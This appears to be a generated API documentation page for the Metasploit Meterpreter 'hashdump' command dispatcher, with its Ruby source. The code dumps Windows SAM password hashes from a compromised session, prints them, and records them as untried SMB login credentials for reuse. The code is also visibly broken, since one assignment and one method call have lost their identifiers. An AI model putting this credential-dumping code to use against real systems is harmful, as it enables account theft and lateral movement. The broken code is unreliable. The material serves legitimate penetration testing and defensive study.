Class: Rex::Post::Meterpreter::Ui::Console::CommandDispatcher::Priv::Passwd

Inherits:
Object
  • Object
show all
Includes:
Rex::Post::Meterpreter::Ui::Console::CommandDispatcher
Defined in:
lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/passwd.rb

Overview

The password database portion of the privilege escalation extension.

Constant Summary collapse

Klass = 
Console::CommandDispatcher::Priv::Passwd

Instance Attribute Summary

Attributes included from Ui::Text::DispatcherShell::CommandDispatcher

#shell, #tab_complete_items

Instance Method Summary collapse

Methods included from Rex::Post::Meterpreter::Ui::Console::CommandDispatcher

check_hash, #client, #docs_dir, #filter_commands, #initialize, #log_error, #msf_loaded?, set_hash, #unknown_command

Methods included from Ui::Text::DispatcherShell::CommandDispatcher

#cmd_help, #cmd_help_help, #cmd_help_tabs, #deprecated_cmd, #deprecated_commands, #deprecated_help, #docs_dir, #help_to_s, included, #initialize, #print, #print_error, #print_good, #print_line, #print_status, #print_warning, #tab_complete_directory, #tab_complete_filenames, #tab_complete_generic, #tab_complete_source_address, #unknown_command, #update_prompt

Instance Method Details

#cmd_hashdump(*args) ⇒ Object

Displays the contents of the SAM database



39
40
41
42
43
44
45
46
47
48
 
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/passwd.rb', line 39

def cmd_hashdump(*args)
  client.priv.sam_hashes.each { |user|
    print_line("#{user}")
    if shell.client.platform == 'windows' && !shell.framework.nil? && shell.framework.db.active
      report_creds(user)
    end
  }

  return true
end

#commands ⇒ Object

List of supported commands.



23
24
25
26
27
 
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/passwd.rb', line 23

def commands
  {
    'hashdump' => 'Dumps the contents of the SAM database'
  }
end

#name ⇒ Object

Name for this dispatcher.



32
33
34
 
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/passwd.rb', line 32

def name
  'Priv: Password database'
end

#report_creds(user_data) ⇒ Object 



50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
 
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/passwd.rb', line 50

def report_creds(user_data)
  user = user_data.user_name
  lm_hash = user_data.lanman.downcase
  nt_hash = user_data.ntlm.downcase
  empty_password = lm_hash == Metasploit::Credential::NTLMHash::BLANK_LM_HASH && nt_hash == Metasploit::Credential::NTLMHash::BLANK_NT_HASH
  return if (user.empty? || empty_password)

  # Assemble data about the credential objects we will be creating
  credential_data = {
    origin_type: :session,
    post_reference_name: 'hashdump',
    private_data: "#{lm_hash}:#{nt_hash}",
    private_type: :ntlm_hash,
    session_id: client.db_record.id,
    username: user,
    workspace_id: shell.framework.db.workspace.id
  }

  credential_core = shell.framework.db.create_credential(credential_data)

  # Assemble the options hash for creating the Metasploit::Credential::Login object
   = {
    core: credential_core,
    status: Metasploit::Model::Login::Status::UNTRIED,
    address: ::Rex::Socket.getaddress(client.sock.peerhost, true),
    port: 445,
    service_name: 'smb',
    protocol: 'tcp',
    workspace_id: shell.framework.db.workspace.id
  }

  shell.framework.db.()
end